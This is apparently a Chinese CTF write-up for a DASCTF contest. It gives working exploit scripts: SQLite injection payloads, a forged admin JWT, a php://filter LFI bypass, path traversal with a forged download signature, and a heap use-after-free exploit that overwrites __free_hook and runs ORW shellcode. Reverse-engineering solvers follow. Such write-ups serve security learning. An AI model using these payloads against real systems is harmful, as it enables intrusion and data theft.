DASCTF下半年赛WriteUp

image-20251207204559084

DASCTF下半年赛WriteUp

Web

题目描述

一个图片画廊网站

解题过程

信息收集

访问网站发现是一个图片画廊应用,存在登录功能。

观察请求发现:

  • 使用 JWT 进行身份认证(Cookie: auth_token
  • 后端使用 PHP + SQLite

SQL 注入获取 JWT Secret

在登录/搜索功能处发现 SQLite 注入漏洞。

注入点测试

1
' OR 1=1--

发现报错

再尝试,成功登录

1
2
用户名: ' UNION SELECT 1,group_concat(sql),3 FROM sqlite_master--
密码: x

发现关键线索

页面中隐藏了重要信息。

看每张图片的 Photo ID 的首字母/首字符:

Photo ID 首字符
1 G1001 G
2 A2002 A
3 L3003 L
4 L4004 L
5 E5005 E
6 R6006 R
7 Y7007 Y
8 28008 2
9 9009 0
10 210010 2
11 411011 4
12 S12012 S
13 E13013 E
14 C14014 C
15 R15015 R
16 E16016 E
17 T17017 T

拼起来是:GALLERY2024SECRET

获取到 JWT Secret

1
GALLERY2024SECRET

JWT 伪造

使用获取的 secret 伪造 admin 用户的 JWT:

1
2
3
4
5
6
7
8
9
10
11
import jwt

secret = "GALLERY2024SECRET"
payload = {
"user": "admin",
"role": "admin",
"iat": 1764993717
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

生成的 JWT

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjQ5OTM3MTd9.sUQ1YYVZIqqkcz7Nx62dHj-R-8UQi6ubiCcVwkCmT_I

访问 Admin 页面

使用伪造的 JWT 设置 Cookie 后访问 /admin.php,发现文件导出功能:

1
action=export&filepath=xxx

LFI 读取 Flag

尝试直接读取 /flag 等路径失败,发现存在 base64 过滤。

使用 iconv 编码绕过

1
2
3
4
5
6
7
8
9
10
php://filter/read=convert.iconv.UTF-8.UTF-16LE/resource=/var/www/html/flag.php
import requests
url = "http://target/admin.php"
cookie = {
"auth_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjQ5OTM3MTd9.sUQ1YYVZIqqkcz7Nx62dHj-R-8UQi6ubiCcVwkCmT_I"
}

filepath = "php://filter/read=convert.iconv.UTF-8.UTF-16LE/resource=/var/www/html/flag.php"
data = {"action": "export", "filepath": filepath}
r = requests.post(url, cookies=cookie, data=data)

解码 UTF-16LE

1
2
3
content = r.text.split("<!doctype")[0].strip()
decoded = content.encode('latin-1').decode('utf-16-le', errors='ignore')
print(decoded)

读取到 flag.php 源码

1
2
3
<?php
$flag = "DASCTF{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}";
?>

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://target/admin.php"
cookie = {
"auth_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjQ5OTM3MTd9.sUQ1YYVZIqqkcz7Nx62dHj-R-8UQi6ubiCcVwkCmT_I"
}

filepath = "php://filter/read=convert.iconv.UTF-8.UTF-16LE/resource=/var/www/html/flag.php"
data = {"action": "export", "filepath": filepath}
r = requests.post(url, cookies=cookie, data=data)

# 解码 UTF-16LE
content = r.text.split("<!doctype")[0].strip()
decoded = content.encode('latin-1').decode('utf-16-le', errors='ignore')
print(decoded)

解码

1
2
3
content = r.text.split("<!doctype")[0].strip()
decoded = content.encode('latin-1').decode('utf-16-le', errors='ignore')
print(decoded)

img

攻击链

SQL注入获取JWT Secret → 伪造Admin JWT → 访问Admin页面 → LFI读取flag.php

DevWeb

题目描述

devweb - 这是一个正在开发中的网站

解题过程

1. 信息收集

访问目标网站,发现是一个 Spring Boot 应用(通过 Whitelabel Error Page 识别)。

分析前端 JS 文件 /assets/index-BgDOi0T5.js,发现以下关键信息:

  1. RSA 公钥(被注释掉):
1
//publicKey:"MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
  1. 登录逻辑:密码使用 RSA 加密后 POST 到 /login
  2. 文件下载功能
1
2
3
downloadFile(t){
window.location.href=`/download?file=${t.name}&sign=6f742c2e79030435b7edc1d79b8678f6`
}
  1. 固定文件列表app.jmxindex.html

2. 登录绕过

使用提取的 RSA 公钥加密密码,尝试弱口令登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64, requests

pubkey_b64 = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
key = RSA.import_key(f"-----BEGIN PUBLIC KEY-----\n{pubkey_b64}\n-----END PUBLIC KEY-----")
cipher = PKCS1_v1_5.new(key)

# 加密密码
password = "123456"
encrypted = base64.b64encode(cipher.encrypt(password.encode())).decode()

# 登录
session = requests.Session()
r = session.post(base_url + "/login",
data=f"username=admin&password={requests.utils.quote(encrypted)}",
headers={"Content-Type": "application/x-www-form-urlencoded"},
allow_redirects=False)

成功登录admin:123456

3. 分析签名算法

下载 app.jmx 文件(JMeter 测试计划),发现签名生成算法:

1
2
3
4
5
6
def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);

同时发现 salt 值f9bc855c9df15ba7602945fb939deefc

签名算法 Python 实现

1
2
3
4
5
6
7
8
9
10
import hashlib

salt = "f9bc855c9df15ba7602945fb939deefc"

def generate_sign(filename):
firstMi = hashlib.md5(filename.encode()).hexdigest()
jieStr = firstMi[5:16] # 取第5-15位(共11字符)
newStr = firstMi + jieStr + salt
sign = hashlib.md5(newStr.encode()).hexdigest()
return sign

4. 任意文件读取

利用签名算法,可以生成任意文件名的有效签名,结合路径穿越读取敏感文件:

1
2
3
4
5
6
7
8
# 生成 ../../../flag 的签名
filename = "../../../flag"
sign = generate_sign(filename)

# 请求下载
url = f"{base_url}/download?file={filename}&sign={sign}"
r = session.get(url)
print(r.text)

5. 获取 Flag

1
GET /download?file=../../../flag&sign=<calculated_sign>

Flag: DASCTF{2fdf78d8-5c3d-41a4-b627-12f4d24bf5bd}

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import hashlib

base_url = "http://target:81"

# ========== 1. RSA 加密登录 ==========
pubkey_b64 = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
key = RSA.import_key(f"-----BEGIN PUBLIC KEY-----\n{pubkey_b64}\n-----END PUBLIC KEY-----")
cipher = PKCS1_v1_5.new(key)
encrypted = base64.b64encode(cipher.encrypt(b"123456")).decode()

session = requests.Session()
session.post(f"{base_url}/login",
data=f"username=admin&password={requests.utils.quote(encrypted)}",
headers={"Content-Type": "application/x-www-form-urlencoded"},
allow_redirects=False)

# ========== 2. 签名算法 ==========
salt = "f9bc855c9df15ba7602945fb939deefc"

def generate_sign(filename):
firstMi = hashlib.md5(filename.encode()).hexdigest()
jieStr = firstMi[5:16]
newStr = firstMi + jieStr + salt
return hashlib.md5(newStr.encode()).hexdigest()

# ========== 3. 读取 Flag ==========
filename = "../../../flag"
sign = generate_sign(filename)
r = session.get(f"{base_url}/download?file={filename}&sign={sign}")
print(r.text)

Pwn

rcms

uaf,试出来libc是2.27,unsorted bin leak泄露libc,tcachebin attack分配到存储后门函数的chunk,泄露后门函数地址,再tcachebin attack改__free_hook为后门函数

最后写orw即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
from pwn import *
# from LibcSearcher import LibcSearcher

context(arch='amd64',os='linux',log_level='debug')
# context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
context.terminal=["tmux","splitw","-h"]

def debug():
gdb.attach(p)
pause()

p = process('./pwn')
libc = ELF('/home/yui/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
def create(index, size, data):
"""
创建堆块 - 对应 create_connection() @ 0xbe9

参数:
index: 堆块索引 (0-20)
size: 堆块大小 (0 < size <= 0x430)
data: 要写入的数据

IDA分析:
- 检查索引范围: 0 <= index <= 20
- 检查大小范围: 0 < size <= 0x430
- 调用 malloc(size) 分配堆块
- 将指针存入 heap_ptr_array[index] @ 0x202040
- 将大小存入 heap_size_array[index] @ 0x2020e0
- 读取用户输入到堆块
"""
p.sendlineafter(b'5.exit\n', b'1')
p.sendlineafter(b'connect:', str(index).encode())
p.sendlineafter(b'want:', str(size).encode())
p.sendafter(b'cmd:', data)
log.info(f"[+] create(index={index}, size={hex(size)}, len(data)={len(data)})")

def delete(index):
"""
删除堆块 - 对应 delete_connection_UAF() @ 0xd6d

参数:
index: 要删除的堆块索引

⚠️ UAF漏洞点!
IDA分析:
- 调用 free(heap_ptr_array[index]) @ 0xe05
- 漏洞: free后未清空 heap_ptr_array[index] 指针
- 漏洞: 未清空 heap_size_array[index]
- 导致可以继续通过 change/show 访问已释放内存
"""
p.sendlineafter(b'5.exit\n', b'2')
p.sendlineafter(b'delet:', str(index).encode())
log.warning(f"[!] delete(index={index}) - UAF漏洞点!指针未清空")

def change(index, data):
"""
修改堆块 - 对应 change_connection() @ 0xe2d

参数:
index: 堆块索引
data: 新数据

UAF利用:
- 可以修改已释放的堆块 (UAF写入)
- 可以覆写 tcache/fastbin 的 fd 指针
- 可以伪造堆块结构

IDA分析:
- 读取 heap_size_array[index] 字节到 heap_ptr_array[index]
- 未检查堆块是否已释放
"""
p.sendlineafter(b'5.exit\n', b'3')
p.sendlineafter(b'change:', str(index).encode())
p.sendafter(b'cmd:', data)
log.info(f"[+] change(index={index}, len(data)={len(data)})")

def show(index):
"""
显示堆块 - 对应 show_connection() @ 0xf18

参数:
index: 堆块索引

UAF利用:
- 可以读取已释放堆块的内容 (UAF读取)
- 释放到 unsorted bin 后,fd/bk 指向 main_arena
- 可以泄露 libc 基址

IDA分析:
- 调用 puts(heap_ptr_array[index]) @ 0xfb0
- 未检查堆块是否已释放
"""
p.sendlineafter(b'5.exit\n', b'4')
p.sendlineafter(b'show:', str(index).encode())
log.info(f"[+] show(index={index})")

def add(index, size, data):
"""add() 是 create() 的别名"""
return create(index, size, data)

def free(index):
"""free() 是 delete() 的别名"""
return delete(index)

def edit(index, data):
"""edit() 是 change() 的别名"""
return change(index, data)

def view(index):
"""view() 是 show() 的别名"""
return show(index)

p = remote("node5.buuoj.cn", 26439)

for i in range(7):
add(i, 0x80, 'a')
add(7, 0x80, 'b')

for i in range(6):
free(i)

free(6)
show(6)
p.recvline()
heap_addr = u64(p.recv(6).ljust(8, b'\x00'))

add(8, 0x10, b'protected')
free(7)
show(7)
p.recvline()
leak = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f"[+] Leaked heap address: {hex(heap_addr)}")
log.success(f"[+] Leaked main_arena: {hex(leak)}")

libc_base = leak - 0x3ebc40 - 96
log.success(f"[+] libc_base: {hex(libc_base)}")

__free_hook = libc_base + libc.sym['__free_hook']
log.info(f"[+] __free_hook: {hex(__free_hook)}")

message = "======================== TCACHE ATTACK ======================"
success(message)
backdoor = heap_addr - 0x1310
# edit(5, p64(backdoor))
# show(5)
# p.recvline()
edit(6, p64(backdoor))
add(9, 0x80, b'hacker')

add(10, 0x80, b'a')
show(10)
p.recvline()
gift = u64(p.recv(6).ljust(8, b'\x00')) - 0x61 + 0xd8
log.success(f"[+] backdoor address: {hex(gift)}")

for i in range(7):
add(11+i, 0x100, 'a')
# add(18, 0x100, 'b')

for i in range(6):
free(11+i)

edit(11+5, p64(__free_hook))
add(18, 0x100, b'hacker')
add(19, 0x100, p64(gift))
# debug()
shellcode = asm('''
/* open("./flag", O_RDONLY, 0) */
push 0x67616c66
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

/* read(fd, 0x10500, 0x100) */
mov rdi, rax
mov rsi, 0x10500
mov rdx, 0x100
xor rax, rax
syscall

/* write(1, 0x10500, rax) */
mov rdx, rax
mov rsi, 0x10500
mov rdi, 1
mov rax, 1
syscall
''')

log.info(f"[+] Shellcode length: {len(shellcode)} bytes")
log.info(f"[+] Shellcode (hex): {shellcode.hex()}")
free(2)
sleep(0.1)

p.sendline(shellcode)

sleep(0.2)

# debug()

p.interactive()

Rev

Ezmac

img

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main() {
char p[]={0x7D,0x7B,0x68,0x7F,0x69,0x78,0x44,0x78,0x72,0x21,0x74,0x76,0x75,0x22,0x26,0x7B,0x7C,0x7E,0x78,0x7A,0x2E,0x2D,0x7F,0x2D};
for (int i = 0; i < 24; i++) {
printf("%c", p[i]^(57+i));
}
printf("\n");
return 0;
}

androidfile

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTF Challenge: Android Crypto Challenge Solver

正确的加密流程:
1. 生成AES key和iv (16字符随机)
2. RSA加密key和iv,格式化为 "enkey_<RSA(key)>\neniv_<RSA(iv)>"
3. RC4("REVERSE") + Base64 对上述格式化字符串加密
4. AES/CBC加密用户输入(flag),然后Base64
5. 数据包格式: <RC4+B64(enkey_...\neniv_...)><-encryptinput-><AES密文B64>

解密流程:
1. 分割数据包
2. Base64解码第一部分 -> RC4解密 -> 提取RSA密文
3. RSA解密得到AES key和iv
4. Base64解码第二部分 -> AES/CBC解密 -> 得到flag
"""

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.Util.Padding import unpad
import base64
import re

# RSA private key
RSA_PRIVATE_KEY = """-----BEGIN PRIVATE KEY-----
MIIBVQIBADANBgkqhkiG9w0BAQEFAASCAT8wggE7AgEAAkEAncB8BH4egqfyJBoV
PzGNIuQl/64e5fl1If+CwtICWoiRV4AMfHuiREB+XlTawJ7QD/ZJj2wO6sY4sdNh
yYcC4QIDAQABAkEAh81Gdg+kcFHoD9AsbkRX/atuUtcwXkYL4gK2LMThpdEFHIO7
Scr+SYfwqmm/LMtkbojEGEnNoIfmoLvGfhXaAQIhANDWo8OSMSQFnvh129cFiVfY
KlS4ec24ixvFD8fUD4SRAiEAwWBuZ3kox1n21AsTAxom+E3z5KUUOSUjPXvG6tZB
gVECIDOP2y0tSi6/qIll6BqFxmxG9eSnC4PMfaQkmonXBOHRAiBmJUPsUGmj8/eX
xknCp7vSCYs9SZ3HGcDlp05Jmed8IQIhAJnE1PNe9lC5OazgRYhSG6bGCTbfFHT6
OuwCVIxRSx4P
-----END PRIVATE KEY-----"""

# 截获的加密数据
FULL_DATA = "EvB2udc3ofALSbCxeH5j4O2QZjfyZ151Nj3tOBVpt+99XXudbbzYknID0CxFcVO5+Vf16SjxzVbCuOizTIm3TVXXprsM1IlyjzJnTIUc8s4cFIX+clb1zN5PqUm11Z9LDlUMGYu+fa0fZqB5o7EMXWJvl+uKOsk/K3zzrnU0Rdpn/Ylm0ZBBDqpaNDYeXkGM52Uj6NxOhRRMaW2VcH/u4rNg7y7/X6OKa68G2TstGohwelnKpzgp4eFBNxn2<-encryptinput->UBUSWb+1P3Z/aokV67e5xQ7eaHoEj3JAeC0XA1RckTWdWZYCB/+D7qC3Hao74goX"

RC4_KEY = b"REVERSE"

def rc4_crypt(key, data):
"""RC4 encryption/decryption"""
# KSA
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]

# PRGA
result = bytearray()
i = j = 0
for byte in data:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
result.append(byte ^ S[(S[i] + S[j]) & 0xFF])

return bytes(result)

def rsa_decrypt_raw(key, ciphertext):
"""Raw RSA decryption"""
# 填充到模数长度
if len(ciphertext) < key.size_in_bytes():
ciphertext = b'\x00' * (key.size_in_bytes() - len(ciphertext)) + ciphertext

ciphertext_int = int.from_bytes(ciphertext, 'big')
plaintext_int = pow(ciphertext_int, key.d, key.n)
plaintext = plaintext_int.to_bytes(key.size_in_bytes(), 'big')

# 检查PKCS1 v1.5 padding
if plaintext[0:2] == b'\x00\x02':
idx = plaintext.find(b'\x00', 2)
if idx != -1:
return plaintext[idx+1:]

# 去掉前导0
return plaintext.lstrip(b'\x00')

def main():
print("=" * 60)
print("CTF Android Crypto Challenge Solver")
print("=" * 60)

# Step 1: 分割数据包
print("\n[Step 1] Splitting data packet...")
parts = FULL_DATA.split('<-encryptinput->')
rc4_b64_part = parts[0] # RC4+Base64(enkey_...\neniv_...)
aes_b64_part = parts[1] # AES密文Base64

print(f" Part 1 (RC4+B64): {len(rc4_b64_part)} chars")
print(f" Part 2 (AES B64): {len(aes_b64_part)} chars")

# Step 2: Base64解码第一部分,然后RC4解密
print("\n[Step 2] RC4 decrypting part 1...")
rc4_encrypted = base64.b64decode(rc4_b64_part)
rc4_decrypted = rc4_crypt(RC4_KEY, rc4_encrypted)
print(f" RC4 decrypted: {rc4_decrypted.decode()}")

# Step 3: 提取RSA加密的key和iv
print("\n[Step 3] Extracting RSA-encrypted key and iv...")
rc4_text = rc4_decrypted.decode()

# 去掉所有换行符后再解析
rc4_text_clean = rc4_text.replace('\n', '').replace('\r', '')
print(f" Cleaned text: {rc4_text_clean}")

# 解析 enkey_ 和 eniv_ (它们以 = 或 == 结尾)
# 格式: enkey_<base64>==eniv_<base64>=
key_match = re.search(r'enkey_([A-Za-z0-9+/]+=*)', rc4_text_clean)
# 从eniv_开始匹配到字符串结尾或下一个enkey
iv_match = re.search(r'eniv_([A-Za-z0-9+/]+=*)$', rc4_text_clean)

if key_match and iv_match:
rsa_key_b64 = key_match.group(1)
rsa_iv_b64 = iv_match.group(1)
print(f" RSA encrypted key (B64): {rsa_key_b64}")
print(f" RSA encrypted iv (B64): {rsa_iv_b64}")
else:
print(" [!] Failed to extract RSA data")
return

# Step 4: RSA解密得到AES key和iv
print("\n[Step 4] RSA decrypting to get AES key and iv...")
rsa_key = RSA.import_key(RSA_PRIVATE_KEY)

# 修正base64 padding
def fix_b64_padding(s):
missing = 4 - len(s) % 4
if missing != 4:
s += '=' * missing
return s

print(f" Key B64 length: {len(rsa_key_b64)}, mod 4 = {len(rsa_key_b64) % 4}")
print(f" IV B64 length: {len(rsa_iv_b64)}, mod 4 = {len(rsa_iv_b64) % 4}")

rsa_key_b64 = fix_b64_padding(rsa_key_b64)
rsa_iv_b64 = fix_b64_padding(rsa_iv_b64)

rsa_key_ct = base64.b64decode(rsa_key_b64)
rsa_iv_ct = base64.b64decode(rsa_iv_b64)

print(f" RSA key ciphertext: {len(rsa_key_ct)} bytes")
print(f" RSA iv ciphertext: {len(rsa_iv_ct)} bytes")

aes_key = rsa_decrypt_raw(rsa_key, rsa_key_ct)
aes_iv = rsa_decrypt_raw(rsa_key, rsa_iv_ct)

print(f" AES Key: {aes_key}")
print(f" AES IV: {aes_iv}")

# Step 5: AES解密第二部分
print("\n[Step 5] AES decrypting part 2...")
aes_ciphertext = base64.b64decode(aes_b64_part)
print(f" AES ciphertext: {len(aes_ciphertext)} bytes")

# 确保长度是16的倍数
if len(aes_ciphertext) % 16 != 0:
print(f" [!] Ciphertext not aligned to 16 bytes, padding...")
padding_needed = 16 - (len(aes_ciphertext) % 16)
aes_ciphertext = aes_ciphertext + b'\x00' * padding_needed

try:
cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
decrypted = cipher.decrypt(aes_ciphertext)
print(f" AES decrypted (raw): {decrypted}")

# 尝试unpad
try:
decrypted = unpad(decrypted, AES.block_size)
except:
pass

try:
flag = decrypted.decode('utf-8')
print(f"\n{'=' * 60}")
print(f"FLAG: {flag}")
print(f"{'=' * 60}")
except:
print(f" [!] Cannot decode, raw bytes: {decrypted}")
except Exception as e:
print(f" [!] AES decrypt error: {e}")

if __name__ == "__main__":
main()

Login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
================================================================================
CTF CLIENT PROGRAM ANALYSIS
================================================================================

[BASIC INFO]
File: client (ELF64 Linux executable)
MD5: 204fea362fdd03097c8cc31f87f839c4
Size: 0x8ba8 bytes
Connection: 127.0.0.1:8080 (AF_INET, SOCK_STREAM)

================================================================================
ENCRYPTION ALGORITHMS
================================================================================

1. RC4 (Stream Cipher)
- Key: "qwertyui" (8 bytes, used twice = 16 bytes for key schedule)
- Functions:
* rc4_ksa (0x4AF9): Key Scheduling Algorithm
* rc4_prga (0x4C23): Pseudo-Random Generation Algorithm
* rc4_decrypt (0x4D4A): Decrypt received data
* rc4_encrypt_and_send (0x2729): Encrypt and send data
- Usage: ALL network traffic is RC4 encrypted/decrypted

2. RSA (Asymmetric Encryption)
- Key parameters (all in hex):
* n: 9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb13
09b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c
9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2
e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde
1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad7
7aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81
071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf
5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3
* e: 10001 (65537)
* p: b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61
ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f52
8a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f37
81296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f
* q: d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b
81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428b
f87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd
99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad
* d: 0 (not used by client, only server needs private key)
- Padding: PKCS1 OAEP (RSA_PKCS1_OAEP_PADDING = 4)
- Functions:
* hex_str_to_bn (0x4E1C): Convert hex string to BIGNUM
* rsa_create_key (0x4E86): Create RSA key structure
* rsa_public_encrypt (0x4F70): RSA public key encryption
* rsa_encrypt_with_keys (0x5042): Complete RSA encryption wrapper
- Usage: Encrypt AES key and IV before sending to server

3. AES-128-CBC (Symmetric Encryption)
- Key size: 16 bytes
- Block size: 16 bytes
- Rounds: 10
- Functions:
* aes_key_expansion (0x33F6): Expand 16-byte key to round keys
* aes_sub_bytes (0x37D2): S-box substitution
* aes_shift_rows (0x38D8): Row shifting
* aes_mix_columns (0x3CB1): Column mixing
* aes_add_round_key (0x36C5): XOR with round key
* aes_state_from_buffer (0x3323): Load state matrix from buffer
* aes_state_to_buffer (0x338C): Store state matrix to buffer
* aes_cbc_encrypt (0x4125): CBC mode encryption
* aes_cbc_encrypt_password (0x49DD): Encrypt password with PKCS7 padding
* pkcs7_pad (0x48ED): PKCS7 padding
* calc_padded_len (0x49A4): Calculate padded length
- Usage: Encrypt password for transmission

================================================================================
CONFIG FILE STRUCTURE
================================================================================

File: config (88 bytes total)
Content: "key:xxxxxxxxxxxxxxxxiv:xxxxxxxxxxxxxxxxpasswd:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

Offset Length Field Description
------ ------ ---------- ------------------------------------------
0 4 label "key:" (literal)
4 16 aes_iv AES IV (16 bytes), read when server asks "inp u key"
20 3 label "iv:" (literal)
23 16 aes_key AES Key (16 bytes), read when server asks "inp u account"
39 7 label "passwd:" (literal)
46 42 password Password (42 bytes), read when server asks "inp u passwd"

read_config_file function (0x5302):
- n=0: Read bytes 4-19 (AES IV, 16 bytes)
- n=1: Read bytes 23-38 (AES Key, 16 bytes)
- n=2: Read bytes 46-87 (Password, 42 bytes)

================================================================================
PROTOCOL FLOW
================================================================================

1. Client connects to 127.0.0.1:8080

2. Client -> Server: "req login..." (RC4 encrypted)

3. Server -> Client: "inp u account" (RC4 encrypted)

4. Client reads AES KEY from config (offset 23-38, 16 bytes)
Client -> Server: RSA_encrypt(AES_KEY) then RC4 encrypted

5. Server -> Client: "inp u key" (RC4 encrypted)

6. Client reads AES IV from config (offset 4-19, 16 bytes)
Client -> Server: RSA_encrypt(AES_IV) then RC4 encrypted

7. Server -> Client: "inp u passwd" (RC4 encrypted)

8. Client reads password from config (offset 46-87, 42 bytes)
Client performs:
- PKCS7 padding: 42 bytes -> 48 bytes (pad with 6x 0x06)
- AES-CBC encrypt with key=AES_KEY, iv=AES_IV
Client -> Server: AES_encrypted_password (48 bytes, RC4 encrypted)

9. Server verifies and responds:
- "login success" if password correct
- "login error" if password wrong

================================================================================
IMPORTANT ADDRESSES
================================================================================

Global Variables:
p_qwertyui (0x9020): Pointer to RC4 key "qwertyui"
off_90A0: RSA modulus n
off_90A8: RSA exponent e ("10001")
off_90B0: RSA prime p
off_90B8: RSA prime q
off_90C0: RSA private exponent d ("0" - not used)
byte_90E0: AES S-box
dword_6500: AES round constants (Rcon)

Key Functions:
main (0x27A0): Main function, login protocol
